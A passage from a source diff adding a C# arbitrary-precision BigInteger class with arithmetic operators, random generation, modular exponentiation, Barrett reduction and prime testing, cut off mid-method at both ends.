bi.length; i++) + this.data[i] = bi.data[i]; + + this.length = bi.length; + } + + #endregion + + #region Conversions + + public BigInteger(byte[] inData) { + if (inData.Length == 0) + inData = new byte[1]; + length = (uint)inData.Length >> 2; + int leftOver = inData.Length & 0x3; + + // length not multiples of 4 + if (leftOver != 0) length++; + + data = new uint[length]; + + for (int i = inData.Length - 1, j = 0; i >= 3; i -= 4, j++) { + data[j] = (uint)( + (inData[i - 3] << (3 * 8)) | + (inData[i - 2] << (2 * 8)) | + (inData[i - 1] << (1 * 8)) | + (inData[i]) + ); + } + + switch (leftOver) { + case 1: data[length - 1] = (uint)inData[0]; break; + case 2: data[length - 1] = (uint)((inData[0] << 8) | inData[1]); break; + case 3: data[length - 1] = (uint)((inData[0] << 16) | (inData[1] << 8) | inData[2]); break; + } + + this.Normalize(); + } + + public BigInteger(uint[] inData) { + if (inData.Length == 0) + inData = new uint[1]; + length = (uint)inData.Length; + + data = new uint[length]; + + for (int i = (int)length - 1, j = 0; i >= 0; i--, j++) + data[j] = inData[i]; + + this.Normalize(); + } + + public BigInteger(uint ui) { + data = new uint[] { ui }; + } + + public BigInteger(ulong ul) { + data = new uint[2] { (uint)ul, (uint)(ul >> 32) }; + length = 2; + + this.Normalize(); + } + + public static implicit operator BigInteger(uint value) { + return (new BigInteger(value)); + } + + public static implicit operator BigInteger(int value) { + if (value < 0) throw new ArgumentOutOfRangeException("value"); + return (new BigInteger((uint)value)); + } + + public static implicit operator BigInteger(ulong value) { + return (new BigInteger(value)); + } + + /* This is the BigInteger.Parse method I use. This method works + because BigInteger.ToString returns the input I gave to Parse. */ + public static BigInteger Parse(string number) { + if (number == null) + throw new ArgumentNullException("number"); + + int i = 0, len = number.Length; + char c; + bool digits_seen = false; + BigInteger val = new BigInteger(0); + if (number[i] == '+') { + i++; + } else if (number[i] == '-') { + throw new FormatException(WouldReturnNegVal); + } + + for (; i < len; i++) { + c = number[i]; + if (c == '\0') { + i = len; + continue; + } + if (c >= '0' && c <= '9') { + val = val * 10 + (c - '0'); + digits_seen = true; + } else { + if (Char.IsWhiteSpace(c)) { + for (i++; i < len; i++) { + if (!Char.IsWhiteSpace(number[i])) + throw new FormatException(); + } + break; + } else + throw new FormatException(); + } + } + if (!digits_seen) + throw new FormatException(); + return val; + } + + #endregion + + #region Operators + + public static BigInteger operator +(BigInteger bi1, BigInteger bi2) { + if (bi1 == 0) + return new BigInteger(bi2); + else if (bi2 == 0) + return new BigInteger(bi1); + else + return Kernel.AddSameSign(bi1, bi2); + } + + public static BigInteger operator -(BigInteger bi1, BigInteger bi2) { + if (bi2 == 0) + return new BigInteger(bi1); + + if (bi1 == 0) + throw new ArithmeticException(WouldReturnNegVal); + + switch (Kernel.Compare(bi1, bi2)) { + + case Sign.Zero: + return 0; + + case Sign.Positive: + return Kernel.Subtract(bi1, bi2); + + case Sign.Negative: + throw new ArithmeticException(WouldReturnNegVal); + default: + throw new Exception(); + } + } + + public static int operator %(BigInteger bi, int i) { + if (i > 0) + return (int)Kernel.DwordMod(bi, (uint)i); + else + return -(int)Kernel.DwordMod(bi, (uint)-i); + } + + public static uint operator %(BigInteger bi, uint ui) { + return Kernel.DwordMod(bi, (uint)ui); + } + + public static BigInteger operator %(BigInteger bi1, BigInteger bi2) { + return Kernel.multiByteDivide(bi1, bi2)[1]; + } + + public static BigInteger operator /(BigInteger bi, int i) { + if (i > 0) + return Kernel.DwordDiv(bi, (uint)i); + + throw new ArithmeticException(WouldReturnNegVal); + } + + public static BigInteger operator /(BigInteger bi1, BigInteger bi2) { + return Kernel.multiByteDivide(bi1, bi2)[0]; + } + + public static BigInteger operator *(BigInteger bi1, BigInteger bi2) { + if (bi1 == 0 || bi2 == 0) return 0; + + // + // Validate pointers + // + if (bi1.data.Length < bi1.length) throw new IndexOutOfRangeException("bi1 out of range"); + if (bi2.data.Length < bi2.length) throw new IndexOutOfRangeException("bi2 out of range"); + + BigInteger ret = new BigInteger(Sign.Positive, bi1.length + bi2.length); + + Kernel.Multiply(bi1.data, 0, bi1.length, bi2.data, 0, bi2.length, ret.data, 0); + + ret.Normalize(); + return ret; + } + + public static BigInteger operator *(BigInteger bi, int i) { + if (i < 0) throw new ArithmeticException(WouldReturnNegVal); + if (i == 0) return 0; + if (i == 1) return new BigInteger(bi); + + return Kernel.MultiplyByDword(bi, (uint)i); + } + + public static BigInteger operator <<(BigInteger bi1, int shiftVal) { + return Kernel.LeftShift(bi1, shiftVal); + } + + public static BigInteger operator >>(BigInteger bi1, int shiftVal) { + return Kernel.RightShift(bi1, shiftVal); + } + + #endregion + + #region Friendly names for operators + + // with names suggested by FxCop 1.30 + + public static BigInteger Add(BigInteger bi1, BigInteger bi2) { + return (bi1 + bi2); + } + + public static BigInteger Subtract(BigInteger bi1, BigInteger bi2) { + return (bi1 - bi2); + } + + public static int Modulus(BigInteger bi, int i) { + return (bi % i); + } + + public static uint Modulus(BigInteger bi, uint ui) { + return (bi % ui); + } + + public static BigInteger Modulus(BigInteger bi1, BigInteger bi2) { + return (bi1 % bi2); + } + + public static BigInteger Divid(BigInteger bi, int i) { + return (bi / i); + } + + public static BigInteger Divid(BigInteger bi1, BigInteger bi2) { + return (bi1 / bi2); + } + + public static BigInteger Multiply(BigInteger bi1, BigInteger bi2) { + return (bi1 * bi2); + } + + public static BigInteger Multiply(BigInteger bi, int i) { + return (bi * i); + } + + #endregion + + #region Random + private static RandomNumberGenerator rng; + private static RandomNumberGenerator Rng { + get { + if (rng == null) + rng = RandomNumberGenerator.Create(); + return rng; + } + } + + /// + /// Generates a new, random BigInteger of the specified length. + /// + /// The number of bits for the new number. + /// A random number generator to use to obtain the bits. + /// A random number of the specified length. + public static BigInteger GenerateRandom(int bits, RandomNumberGenerator rng) { + int dwords = bits >> 5; + int remBits = bits & 0x1F; + + if (remBits != 0) + dwords++; + + BigInteger ret = new BigInteger(Sign.Positive, (uint)dwords + 1); + byte[] random = new byte[dwords << 2]; + + rng.GetBytes(random); + Buffer.BlockCopy(random, 0, ret.data, 0, (int)dwords << 2); + + if (remBits != 0) { + uint mask = (uint)(0x01 << (remBits - 1)); + ret.data[dwords - 1] |= mask; + + mask = (uint)(0xFFFFFFFF >> (32 - remBits)); + ret.data[dwords - 1] &= mask; + } else + ret.data[dwords - 1] |= 0x80000000; + + ret.Normalize(); + return ret; + } + + /// + /// Generates a new, random BigInteger of the specified length using the default RNG crypto service provider. + /// + /// The number of bits for the new number. + /// A random number of the specified length. + public static BigInteger GenerateRandom(int bits) { + return GenerateRandom(bits, Rng); + } + + /// + /// Randomizes the bits in "this" from the specified RNG. + /// + /// A RNG. + public void Randomize(RandomNumberGenerator rng) { + if (this == 0) + return; + + int bits = this.BitCount(); + int dwords = bits >> 5; + int remBits = bits & 0x1F; + + if (remBits != 0) + dwords++; + + byte[] random = new byte[dwords << 2]; + + rng.GetBytes(random); + Buffer.BlockCopy(random, 0, data, 0, (int)dwords << 2); + + if (remBits != 0) { + uint mask = (uint)(0x01 << (remBits - 1)); + data[dwords - 1] |= mask; + + mask = (uint)(0xFFFFFFFF >> (32 - remBits)); + data[dwords - 1] &= mask; + } else + data[dwords - 1] |= 0x80000000; + + Normalize(); + } + + /// + /// Randomizes the bits in "this" from the default RNG. + /// + public void Randomize() { + Randomize(Rng); + } + + #endregion + + #region Bitwise + + public int BitCount() { + this.Normalize(); + + uint value = data[length - 1]; + uint mask = 0x80000000; + uint bits = 32; + + while (bits > 0 && (value & mask) == 0) { + bits--; + mask >>= 1; + } + bits += ((length - 1) << 5); + + return (int)bits; + } + + /// + /// Tests if the specified bit is 1. + /// + /// The bit to test. The least significant bit is 0. + /// True if bitNum is set to 1, else false. + public bool TestBit(uint bitNum) { + uint bytePos = bitNum >> 5; // divide by 32 + byte bitPos = (byte)(bitNum & 0x1F); // get the lowest 5 bits + + uint mask = (uint)1 << bitPos; + return ((this.data[bytePos] & mask) != 0); + } + + public bool TestBit(int bitNum) { + if (bitNum < 0) throw new IndexOutOfRangeException("bitNum out of range"); + + uint bytePos = (uint)bitNum >> 5; // divide by 32 + byte bitPos = (byte)(bitNum & 0x1F); // get the lowest 5 bits + + uint mask = (uint)1 << bitPos; + return ((this.data[bytePos] | mask) == this.data[bytePos]); + } + + public void SetBit(uint bitNum) { + SetBit(bitNum, true); + } + + public void ClearBit(uint bitNum) { + SetBit(bitNum, false); + } + + public void SetBit(uint bitNum, bool value) { + uint bytePos = bitNum >> 5; // divide by 32 + + if (bytePos < this.length) { + uint mask = (uint)1 << (int)(bitNum & 0x1F); + if (value) + this.data[bytePos] |= mask; + else + this.data[bytePos] &= ~mask; + } + } + + public int LowestSetBit() { + if (this == 0) return -1; + int i = 0; + while (!TestBit(i)) i++; + return i; + } + + public byte[] GetBytes() { + if (this == 0) return new byte[1]; + + int numBits = BitCount(); + int numBytes = numBits >> 3; + if ((numBits & 0x7) != 0) + numBytes++; + + byte[] result = new byte[numBytes]; + + int numBytesInWord = numBytes & 0x3; + if (numBytesInWord == 0) numBytesInWord = 4; + + int pos = 0; + for (int i = (int)length - 1; i >= 0; i--) { + uint val = data[i]; + for (int j = numBytesInWord - 1; j >= 0; j--) { + result[pos + j] = (byte)(val & 0xFF); + val >>= 8; + } + pos += numBytesInWord; + numBytesInWord = 4; + } + return result; + } + + #endregion + + #region Compare + + public static bool operator ==(BigInteger bi1, uint ui) { + if (bi1.length != 1) bi1.Normalize(); + return bi1.length == 1 && bi1.data[0] == ui; + } + + public static bool operator !=(BigInteger bi1, uint ui) { + if (bi1.length != 1) bi1.Normalize(); + return !(bi1.length == 1 && bi1.data[0] == ui); + } + + public static bool operator ==(BigInteger bi1, BigInteger bi2) { + // we need to compare with null + if ((bi1 as object) == (bi2 as object)) + return true; + if (null == bi1 || null == bi2) + return false; + return Kernel.Compare(bi1, bi2) == 0; + } + + public static bool operator !=(BigInteger bi1, BigInteger bi2) { + // we need to compare with null + if ((bi1 as object) == (bi2 as object)) + return false; + if (null == bi1 || null == bi2) + return true; + return Kernel.Compare(bi1, bi2) != 0; + } + + public static bool operator >(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) > 0; + } + + public static bool operator <(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) < 0; + } + + public static bool operator >=(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) >= 0; + } + + public static bool operator <=(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) <= 0; + } + + public Sign Compare(BigInteger bi) { + return Kernel.Compare(this, bi); + } + + #endregion + + #region Formatting + + public string ToString(uint radix) { + return ToString(radix, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"); + } + + public string ToString(uint radix, string characterSet) { + if (characterSet.Length < radix) + throw new ArgumentException("charSet length less than radix", "characterSet"); + if (radix == 1) + throw new ArgumentException("There is no such thing as radix one notation", "radix"); + + if (this == 0) return "0"; + if (this == 1) return "1"; + + string result = ""; + + BigInteger a = new BigInteger(this); + + while (a != 0) { + uint rem = Kernel.SingleByteDivideInPlace(a, radix); + result = characterSet[(int)rem] + result; + } + + return result; + } + + #endregion + + #region Misc + + /// + /// Normalizes this by setting the length to the actual number of + /// uints used in data and by setting the sign to Sign.Zero if the + /// value of this is 0. + /// + private void Normalize() { + // Normalize length + while (length > 0 && data[length - 1] == 0) length--; + + // Check for zero + if (length == 0) + length++; + } + + public void Clear() { + for (int i = 0; i < length; i++) + data[i] = 0x00; + } + + #endregion + + #region Object Impl + + public override int GetHashCode() { + uint val = 0; + + for (uint i = 0; i < this.length; i++) + val ^= this.data[i]; + + return (int)val; + } + + public override string ToString() { + return ToString(10); + } + + public override bool Equals(object o) { + if (o == null) + return false; + if (o is int) + return (int)o >= 0 && this == (uint)o; + + BigInteger bi = o as BigInteger; + if (bi == null) + return false; + + return Kernel.Compare(this, bi) == 0; + } + + #endregion + + #region Number Theory + + public BigInteger GCD(BigInteger bi) { + return Kernel.gcd(this, bi); + } + + public BigInteger ModInverse(BigInteger modulus) { + return Kernel.modInverse(this, modulus); + } + + public BigInteger ModPow(BigInteger exp, BigInteger n) { + ModulusRing mr = new ModulusRing(n); + return mr.Pow(this, exp); + } + + #endregion + + #region Prime Testing + + public bool IsProbablePrime() { + // can we use our small-prime table ? + if (this <= smallPrimes[smallPrimes.Length - 1]) { + for (int p = 0; p < smallPrimes.Length; p++) { + if (this == smallPrimes[p]) + return true; + } + // the list is complete, so it's not a prime + return false; + } + + // otherwise check if we can divide by one of the small primes + for (int p = 0; p < smallPrimes.Length; p++) { + if (this % smallPrimes[p] == 0) + return false; + } + // the last step is to confirm the "large" prime with the SPP or Miller-Rabin test + return PrimalityTests.Test(this, Prime.ConfidenceFactor.Medium); + } + + #endregion + + #region Prime Number Generation + + /// + /// Generates the smallest prime >= bi + /// + /// A BigInteger + /// The smallest prime >= bi. More mathematically, if bi is prime: bi, else Prime [PrimePi [bi] + 1]. + public static BigInteger NextHighestPrime(BigInteger bi) { + NextPrimeFinder npf = new NextPrimeFinder(); + return npf.GenerateNewPrime(0, bi); + } + + public static BigInteger GeneratePseudoPrime(int bits) { + SequentialSearchPrimeGeneratorBase sspg = new SequentialSearchPrimeGeneratorBase(); + return sspg.GenerateNewPrime(bits); + } + + /// + /// Increments this by two + /// + public void Incr2() { + int i = 0; + + data[0] += 2; + + // If there was no carry, nothing to do + if (data[0] < 2) { + + // Account for the first carry + data[++i]++; + + // Keep adding until no carry + while (data[i++] == 0x0) + data[i]++; + + // See if we increased the data length + if (length == (uint)i) + length++; + } + } + + #endregion + +#if INSIDE_CORLIB + internal +#else + public +#endif + sealed class ModulusRing { + + BigInteger mod, constant; + + public ModulusRing(BigInteger modulus) { + this.mod = modulus; + + // calculate constant = b^ (2k) / m + uint i = mod.length << 1; + + constant = new BigInteger(Sign.Positive, i + 1); + constant.data[i] = 0x00000001; + + constant = constant / mod; + } + + public void BarrettReduction(BigInteger x) { + BigInteger n = mod; + uint k = n.length, + kPlusOne = k + 1, + kMinusOne = k - 1; + + // x < mod, so nothing to do. + if (x.length < k) return; + + BigInteger q3; + + // + // Validate pointers + // + if (x.data.Length < x.length) throw new IndexOutOfRangeException("x out of range"); + + // q1 = x / b^ (k-1) + // q2 = q1 * constant + // q3 = q2 / b^ (k+1), Needs to be accessed with an offset of kPlusOne + + // TODO: We should the method in HAC p 604 to do this (14.45) + q3 = new BigInteger(Sign.Positive, x.length - kMinusOne + constant.length); + Kernel.Multiply(x.data, kMinusOne, x.length - kMinusOne, constant.data, 0, constant.length, q3.data, 0); + + // r1 = x mod b^ (k+1) + // i.e. keep the lowest (k+1) words + + uint lengthToCopy = (x.length > kPlusOne) ? kPlusOne : x.length; + + x.length = lengthToCopy; + x.Normalize(); + + // r2 = (q3 * n) mod b^ (k+1) + // partial multiplication of q3 and n + + BigInteger r2 = new BigInteger(Sign.Positive, kPlusOne); + Kernel.MultiplyMod2p32pmod(q3.data, (int)kPlusOne, (int)q3.length - (int)kPlusOne, n.data, 0, (int)n.length, r2.data, 0, (int)kPlusOne); + + r2.Normalize(); + + if (r2 <= x) { + Kernel.MinusEq(x, r2); + } else { + BigInteger val = new BigInteger(Sign.Positive, kPlusOne + 1); + val.data[kPlusOne] = 0x00000001; + + Kernel.MinusEq(val, r2); + Kernel.PlusEq(x, val); + } + + while (x >= n) + Kernel.MinusEq(x, n); + } + + public BigInteger Multiply(BigInteger a, BigInteger b) { + if (a == 0 || b == 0) return 0; + + if (a > mod) + a %= mod; + + if (b > mod) + b %= mod; + + BigInteger ret = a * b; + BarrettReduction(ret); + + return ret; + } + + public BigInteger Difference(BigInteger a, BigInteger b) { + Sign cmp = Kernel.Compare(a, b); + BigInteger diff; + + switch (cmp) { + case Sign.Zero: + return 0; + case Sign.Positive: + diff = a - b; break; + case Sign.Negative: + diff = b - a; break; + default: + throw new Exception(); + } + + if (diff >= mod) { + if (diff.length >= mod.length << 1) + diff %= mod; + else + BarrettReduction(diff); + } + if (cmp == Sign.Negative) + diff = mod - diff; + return diff; + } +#if true + public BigInteger Pow(BigInteger a, BigInteger k) { + BigInteger b = new BigInteger(1); + if (k == 0) + return b; + + BigInteger A = a; + if (k.TestBit(0)) + b = a; + + for (int i = 1; i < k.BitCount(); i++) { + A = Multiply(A, A); + if (k.TestBit(i)) + b = Multiply(A, b); + } + return b; + } +#else + public BigInteger Pow (BigInteger b, BigInteger exp) + { + if ((mod.data [0] & 1) == 1) return OddPow (b, exp); + else return EvenPow (b, exp); + } + + public BigInteger EvenPow (BigInteger b, BigInteger exp) + { + BigInteger resultNum = new BigInteger ((BigInteger)1, mod.length << 1); + BigInteger tempNum = new BigInteger (b % mod, mod.length << 1); // ensures (tempNum * tempNum) < b^ (2k) + + uint totalBits = (uint)exp.BitCount (); + + uint [] wkspace = new uint [mod.length << 1]; + + // perform squaring and multiply exponentiation + for (uint pos = 0; pos < totalBits; pos++) { + if (exp.TestBit (pos)) { + + Array.Clear (wkspace, 0, wkspace.Length); + Kernel.Multiply (resultNum.data, 0, resultNum.length, tempNum.data, 0, tempNum.length, wkspace, 0); + resultNum.length += tempNum.length; + uint [] t = wkspace; + wkspace = resultNum.data; + resultNum.data = t; + + BarrettReduction (resultNum); + } + + Kernel.SquarePositive (tempNum, ref wkspace); + BarrettReduction (tempNum); + + if (tempNum == 1) { + return resultNum; + } + } + + return resultNum; + } + + private BigInteger OddPow (BigInteger b, BigInteger exp) + { + BigInteger resultNum = new BigInteger (Montgomery.ToMont (1, mod), mod.length << 1); + BigInteger tempNum = new BigInteger (Montgomery.ToMont (b, mod), mod.length << 1); // ensures (tempNum * tempNum) < b^ (2k) + uint mPrime = Montgomery.Inverse (mod.data [0]); + uint totalBits = (uint)exp.BitCount (); + + uint [] wkspace = new uint [mod.length << 1]; + + // perform squaring and multiply exponentiation + for (uint pos = 0; pos < totalBits; pos++) { + if (exp.TestBit (pos)) { + + Array.Clear (wkspace, 0, wkspace.Length); + Kernel.Multiply (resultNum.data, 0, resultNum.length, tempNum.data, 0, tempNum.length, wkspace, 0); + resultNum.length += tempNum.length; + uint [] t = wkspace; + wkspace = resultNum.data; + resultNum.data = t; + + Montgomery.Reduce (resultNum, mod, mPrime); + } + + // the value of tempNum is required in the last loop + if (pos < totalBits - 1) { + Kernel.SquarePositive (tempNum, ref wkspace); + Montgomery.Reduce (tempNum, mod, mPrime); + } + } + + Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + } +#endif + #region Pow Small Base + + // TODO: Make tests for this, not really needed b/c prime stuff + // checks it, but still would be nice +#if true + public BigInteger Pow(uint b, BigInteger exp) { + return Pow(new BigInteger(b), exp); + } +#else + public BigInteger Pow (uint b, BigInteger exp) + { +// if (b != 2) { + if ((mod.data [0] & 1) == 1) + return OddPow (b, exp); + else + return EvenPow (b, exp); +/* buggy in some cases (like the well tested primes) + } else { + if ((mod.data [0] & 1) == 1) + return OddModTwoPow (exp); + else + return EvenModTwoPow (exp); + }*/ + } + + private unsafe BigInteger OddPow (uint b, BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = Montgomery.ToMont ((BigInteger)b, this.mod); + resultNum = new BigInteger (resultNum, mod.length << 1 +1); + + uint mPrime = Montgomery.Inverse (mod.data [0]); + + int bc = exp.BitCount () - 2; + uint pos = (bc > 1 ? (uint) bc : 1); + + // + // We know that the first itr will make the val b + // + + do { + // + // r = r ^ 2 % m + // + Kernel.SquarePositive (resultNum, ref wkspace); + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + + if (exp.TestBit (pos)) { + + // + // r = r * b % m + // + + // TODO: Is Unsafe really speeding things up? + fixed (uint* u = resultNum.data) { + + uint i = 0; + ulong mc = 0; + + do { + mc += (ulong)u [i] * (ulong)b; + u [i] = (uint)mc; + mc >>= 32; + } while (++i < resultNum.length); + + if (resultNum.length < mod.length) { + if (mc != 0) { + u [i] = (uint)mc; + resultNum.length++; + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } else if (mc != 0) { + + // + // First, we estimate the quotient by dividing + // the first part of each of the numbers. Then + // we correct this, if necessary, with a subtraction. + // + + uint cc = (uint)mc; + + // We would rather have this estimate overshoot, + // so we add one to the divisor + uint divEstimate; + if (mod.data [mod.length - 1] < UInt32.MaxValue) { + divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1] + 1)); + } + else { + // guess but don't divide by 0 + divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1])); + } + + uint t; + + i = 0; + mc = 0; + do { + mc += (ulong)mod.data [i] * (ulong)divEstimate; + t = u [i]; + u [i] -= (uint)mc; + mc >>= 32; + if (u [i] > t) mc++; + i++; + } while (i < resultNum.length); + cc -= (uint)mc; + + if (cc != 0) { + + uint sc = 0, j = 0; + uint [] s = mod.data; + do { + uint a = s [j]; + if (((a += sc) < sc) | ((u [j] -= a) > ~a)) sc = 1; + else sc = 0; + j++; + } while (j < resultNum.length); + cc -= sc; + } + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } else { + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } + } + } while (pos-- > 0); + + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + + } + + private unsafe BigInteger EvenPow (uint b, BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + BigInteger resultNum = new BigInteger ((BigInteger)b, mod.length << 1 + 1); + + uint pos = (uint)exp.BitCount () - 2; + + // + // We know that the first itr will make the val b + // + + do { + // + // r = r ^ 2 % m + // + Kernel.SquarePositive (resultNum, ref wkspace); + if (!(resultNum.length < mod.length)) + BarrettReduction (resultNum); + + if (exp.TestBit (pos)) { + + // + // r = r * b % m + // + + // TODO: Is Unsafe really speeding things up? + fixed (uint* u = resultNum.data) { + + uint i = 0; + ulong mc = 0; + + do { + mc += (ulong)u [i] * (ulong)b; + u [i] = (uint)mc; + mc >>= 32; + } while (++i < resultNum.length); + + if (resultNum.length < mod.length) { + if (mc != 0) { + u [i] = (uint)mc; + resultNum.length++; + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } else if (mc != 0) { + + // + // First, we estimate the quotient by dividing + // the first part of each of the numbers. Then + // we correct this, if necessary, with a subtraction. + // + + uint cc = (uint)mc; + + // We would rather have this estimate overshoot, + // so we add one to the divisor + uint divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1] + 1)); + + uint t; + + i = 0; + mc = 0; + do { + mc += (ulong)mod.data [i] * (ulong)divEstimate; + t = u [i]; + u [i] -= (uint)mc; + mc >>= 32; + if (u [i] > t) mc++; + i++; + } while (i < resultNum.length); + cc -= (uint)mc; + + if (cc != 0) { + + uint sc = 0, j = 0; + uint [] s = mod.data; + do { + uint a = s [j]; + if (((a += sc) < sc) | ((u [j] -= a) > ~a)) sc = 1; + else sc = 0; + j++; + } while (j < resultNum.length); + cc -= sc; + } + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } else { + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } + } + } while (pos-- > 0); + + return resultNum; + } +#endif + /* known to be buggy in some cases */ +#if false + private unsafe BigInteger EvenModTwoPow (BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = new BigInteger (2, mod.length << 1 +1); + + uint value = exp.data [exp.length - 1]; + uint mask = 0x80000000; + + // Find the first bit of the exponent + while ((value & mask) == 0) + mask >>= 1; + + // + // We know that the first itr will make the val 2, + // so eat one bit of the exponent + // + mask >>= 1; + + uint wPos = exp.length - 1; + + do { + value = exp.data [wPos]; + do { + Kernel.SquarePositive (resultNum, ref wkspace); + if (resultNum.length >= mod.length) + BarrettReduction (resultNum); + + if ((value & mask) != 0) { + // + // resultNum = (resultNum * 2) % mod + // + + fixed (uint* u = resultNum.data) { + // + // Double + // + uint* uu = u; + uint* uuE = u + resultNum.length; + uint x, carry = 0; + while (uu < uuE) { + x = *uu; + *uu = (x << 1) | carry; + carry = x >> (32 - 1); + uu++; + } + + // subtraction inlined because we know it is square + if (carry != 0 || resultNum >= mod) { + uu = u; + uint c = 0; + uint [] s = mod.data; + uint i = 0; + do { + uint a = s [i]; + if (((a += c) < c) | ((* (uu++) -= a) > ~a)) + c = 1; + else + c = 0; + i++; + } while (uu < uuE); + } + } + } + } while ((mask >>= 1) > 0); + mask = 0x80000000; + } while (wPos-- > 0); + + return resultNum; + } + + private unsafe BigInteger OddModTwoPow (BigInteger exp) + { + + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = Montgomery.ToMont ((BigInteger)2, this.mod); + resultNum = new BigInteger (resultNum, mod.length << 1 +1); + + uint mPrime = Montgomery.Inverse (mod.data [0]); + + // + // TODO: eat small bits, the ones we can do with no modular reduction + // + uint pos = (uint)exp.BitCount () - 2; + + do { + Kernel.SquarePositive (resultNum, ref wkspace); + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + + if (exp.TestBit (pos)) { + // + // resultNum = (resultNum * 2) % mod + // + + fixed (uint* u = resultNum.data) { + // + // Double + // + uint* uu = u; + uint* uuE = u + resultNum.length; + uint x, carry = 0; + while (uu < uuE) { + x = *uu; + *uu = (x << 1) | carry; + carry = x >> (32 - 1); + uu++; + } + + // subtraction inlined because we know it is square + if (carry != 0 || resultNum >= mod) { + fixed (uint* s = mod.data) { + uu = u; + uint c = 0; + uint* ss = s; + do { + uint a = *ss++; + if (((a += c) < c) | ((* (uu++) -= a) > ~a)) + c = 1; + else + c = 0; + } while (uu < uuE); + } + } + } + } + } while (pos-- > 0); + + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + } +#endif + #endregion + } + + /// + /// Low level functions for the BigInteger + /// + private sealed class Kernel { + + #region Addition/Subtraction + + /// + /// Adds two numbers with the same sign. + /// + /// A BigInteger + /// A BigInteger + /// bi1 + bi2 + public static BigInteger AddSameSign(BigInteger bi1, BigInteger bi2) { + uint[] x, y; + uint yMax, xMax, i = 0; + + // x should be bigger + if (bi1.length < bi2.length) { + x = bi2.data; + xMax = bi2.length; + y = bi1.data; + yMax = bi1.length; + } else { + x = bi1.data; + xMax = bi1.length; + y = bi2.data; + yMax = bi2.length; + } + + BigInteger result = new BigInteger(Sign.Positive, xMax + 1); + + uint[] r = result.data; + + ulong sum = 0; + + // Add common parts of both numbers + do { + sum = ((ulong)x[i]) + ((ulong)y[i]) + sum; + r[i] = (uint)sum; + sum >>= 32; + } while (++i < yMax); + + // Copy remainder of longer number while carry propagation is required + bool carry = (sum != 0); + + if (carry) { + + if (i < xMax) { + do + carry = ((r[i] = x[i] + 1) == 0); + while (++i < xMax && carry); + } + + if (carry) { + r[i] = 1; + result.length = ++i; + return result; + } + } + + // Copy the rest + if (i < xMax) { + do + r[i] = x[i]; + while (++i < xMax); + } + + result.Normalize(); + return result; + } + + public static BigInteger Subtract(BigInteger big, BigInteger small) { + BigInteger result = new BigInteger(Sign.Positive, big.length); + + uint[] r = result.data, b = big.data, s = small.data; + uint i = 0, c = 0; + + do { + + uint x = s[i]; + if (((x += c) < c) | ((r[i] = b[i] - x) > ~x)) + c = 1; + else + c = 0; + + } while (++i < small.length); + + if (i == big.length) goto fixup; + + if (c == 1) { + do + r[i] = b[i] - 1; + while (b[i++] == 0 && i < big.length); + + if (i == big.length) goto fixup; + } + + do + r[i] = b[i]; + while (++i < big.length); + + fixup: + + result.Normalize(); + return result; + } + + public static void MinusEq(BigInteger big, BigInteger small) { + uint[] b = big.data, s = small.data; + uint i = 0, c = 0; + + do { + uint x = s[i]; + if (((x += c) < c) | ((b[i] -= x) > ~x)) + c = 1; + else + c = 0; + } while (++i < small.length); + + if (i == big.length) goto fixup; + + if (c == 1) { + do + b[i]--; + while (b[i++] == 0 && i < big.length); + } + + fixup: + + // Normalize length + while (big.length > 0 && big.data[big.length - 1] == 0) big.length--; + + // Check for zero + if (big.length == 0) + big.length++; + + } + + public static void PlusEq(BigInteger bi1, BigInteger bi2) { + uint[] x, y; + uint yMax, xMax, i = 0; + bool flag = false; + + // x should be bigger + if (bi1.length < bi2.length) { + flag = true; + x = bi2.data; + xMax = bi2.length; + y = bi1.data; + yMax = bi1.length; + } else { + x = bi1.data; + xMax = bi1.length; + y = bi2.data; + yMax = bi2.length; + } + + uint[] r = bi1.data; + + ulong sum = 0; + + // Add common parts of both numbers + do { + sum += ((ulong)x[i]) + ((ulong)y[i]); + r[i] = (uint)sum; + sum >>= 32; + } while (++i < yMax); + + // Copy remainder of longer number while carry propagation is required + bool carry = (sum != 0); + + if (carry) { + + if (i < xMax) { + do + carry = ((r[i] = x[i] + 1) == 0); + while (++i < xMax && carry); + } + + if (carry) { + r[i] = 1; + bi1.length = ++i; + return; + } + } + + // Copy the rest + if (flag && i < xMax - 1) { + do + r[i] = x[i]; + while (++i < xMax); + } + + bi1.length = xMax + 1; + bi1.Normalize(); + } + + #endregion + + #region Compare + + /// + /// Compares two BigInteger + /// + /// A BigInteger + /// A BigInteger + /// The sign of bi1 - bi2 + public static Sign Compare(BigInteger bi1, BigInteger bi2) { + // + // Step 1. Compare the lengths + // + uint l1 = bi1.length, l2 = bi2.length; + + while (l1 > 0 && bi1.data[l1 - 1] == 0) l1--; + while (l2 > 0 && bi2.data[l2 - 1] == 0) l2--; + + if (l1 == 0 && l2 == 0) return Sign.Zero; + + // bi1 len < bi2 len + if (l1 < l2) return Sign.Negative; + // bi1 len > bi2 len + else if (l1 > l2) return Sign.Positive; + + // + // Step 2. Compare the bits + // + + uint pos = l1 - 1; + + while 